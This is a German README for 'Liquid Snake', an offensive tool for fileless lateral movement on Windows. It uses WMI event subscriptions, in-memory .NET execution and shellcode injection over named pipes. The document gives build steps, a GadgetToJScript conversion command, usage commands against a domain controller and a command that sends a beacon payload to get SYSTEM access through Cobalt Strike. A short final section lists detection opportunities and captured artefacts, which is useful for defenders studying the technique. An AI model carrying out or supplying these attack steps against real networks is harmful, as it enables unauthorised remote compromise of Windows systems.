
Dateiloses laterales Bewegungswerkzeug unter Verwendung von WMI-Ereignisabonnements zum Ausführen von .NET-Assemblies im Arbeitsspeicher, mit Shellcode-Injektion über Named Pipes für die Fernkompromittierung von Windows-Systemen.
Liquid Snake ist ein Programm, das laterale Bewegungen gegen Windows-Systeme durchführt, ohne die Festplatte zu berühren. Das Tool nutzt WMI Event Subscription, um eine .NET-Assembly im Speicher auszuführen. Die .NET-Assembly horcht auf einen Shellcode auf einer Named Pipe und führt ihn dann mithilfe einer Variante der Thread-Hijacking-Shellcode-Injektion aus.
Das folgende Diagramm hoffentlich verdeutlicht den Datenfluss:

Das Projekt besteht aus zwei separaten Lösungen:
CSharpNamedPipeLoader - die Komponente, die über GadgetToJScript in VBS umgewandelt wirdLiquidSnake - die Komponente, die für die Erstellung des WMI Event Subscription auf dem entfernten System verantwortlich istÖffnen Sie einfach beide Lösungen in Visual Studio und erstellen Sie sie. Stellen Sie sicher, dass Sie für CSharpNamedPipeLoader die x64-Architektur als Ziel auswählen. Wenn alles reibungslos verlief, sollten Sie zwei separate EXE-Dateien haben: CSharpNamedPipeLoader.exe und LiquidSnake.exe
Konvertieren Sie mit GadgetToJscript die CSharpNamedPipeLoader.exe in VBS mit folgendem Befehl:
GadgetToJScript.exe -a CSharpNamedPipeLoader.exe -b -w vbs
Testen Sie die .NET-Deserialisierung mit cscript.exe und stellen Sie sicher, dass alles wie erwartet funktioniert:
cscript.exe test.vbs
Kodieren Sie dann die VBS-Datei base64 und fügen Sie sie in die Variable vbscript64 in der Datei Program.cs von LiquidSnake (Zeile 29) ein.
Ich habe dies bereits für Sie erledigt, sodass Sie einfach die LiquidSnake-Lösung kompilieren und sie so wie sie ist verwenden können.
Die Verwendung dieses Projekts ist einfach: Verwenden Sie LiquidSnake.exe gegen einen Host, auf dem Sie Administratorzugriff haben, wie folgt:
LiquidSnake.exe <host> [<username> <password> <domain>]
LiquidSnake.exe dc01.isengard.local
LiquidSnake.exe dc01.isengard.local saruman DeathToFrodo123 isengard.local
HINWEIS: Derzeit gibt es einen Fehler, wenn Sie explizit Benutzeranmeldeinformationen angeben; das Tool funktioniert in diesem Fall nicht. Es wird empfohlen, stattdessen make_token oder einen anderen Identitätswechselmechanismus zu verwenden.
Wenn alles reibungslos verlief, sollten Sie eine Ausgabe ähnlich der folgenden erhalten:
[*] Event filter created.
[*] Event consumer created.
[*] Subscription created, now sleeping
[*] Sending some DCOM love..
[*] Sleeping again... long day
Das obige Beispiel verwendet CobaltStrikes execute-assembly, um LiquidSnake zu starten:

Währenddessen wird auf dem entfernten Host eine neue Named Pipe mit folgendem Namen erstellt:
\\.\pipe\6e7645c4-32c5-4fe3-aabf-e94c2f4370e7

Dann können Sie mit meinem send_shellcode_via_pipe Projekt aus meinen BOFs einen beliebigen Shellcode auf die entfernte Pipe senden, der geladen und ausgeführt wird:
send_shellcode_via_pipe \\dc01\pipe\6e7645c4-32c5-4fe3-aabf-e94c2f4370e7 beacon.bin

Wenn alles wie erwartet funktioniert hat, sollten Sie einen SYSTEM-Beacon erhalten:

HINWEIS: Die aktuelle LiquidSnake-Version enthält ein Artefakt, das von GadgetToJScript generiert wurde und auf .NET Version 4.x abzielt. Wenn auf Ihrem Zielhost nur 3.5 installiert ist, wird dies fehlschlagen. Wiederholen Sie einfach denselben Vorgang, verwenden Sie jedoch beim Erstellen von GadgetToJScript die entsprechende .NET-Version.
Es gibt viele Erkennungsmöglichkeiten, um den Missbrauch dieses Tools und allgemein die Verwendung dieser Technik zu identifizieren:
clr.dll in Verbindung mit dem Prozess scrcons.exescrcons.exeDarüber hinaus ist der größte Nachteil der spezifischen Implementierung, dass der Shellcode im Klartext über SMB gesendet wird. Das bedeutet, dass eine Netzwerküberwachungslösung, die in der Lage ist, diesen Datenverkehr zu inspizieren, ihn wahrscheinlich erkennen wird. Ich habe nicht viel gegen das Zeek/Bro-Regelset getestet, bin mir aber ziemlich sicher, dass es sofort erkannt wird.
Im Ordner detection-artefacts habe ich die PCAP-Datei eines Wireshark-Mitschnitts und die während des Angriffs erzeugten Sysmon-Ereignisse hinterlassen (unter Verwendung der Standardkonfiguration von Swift On Security).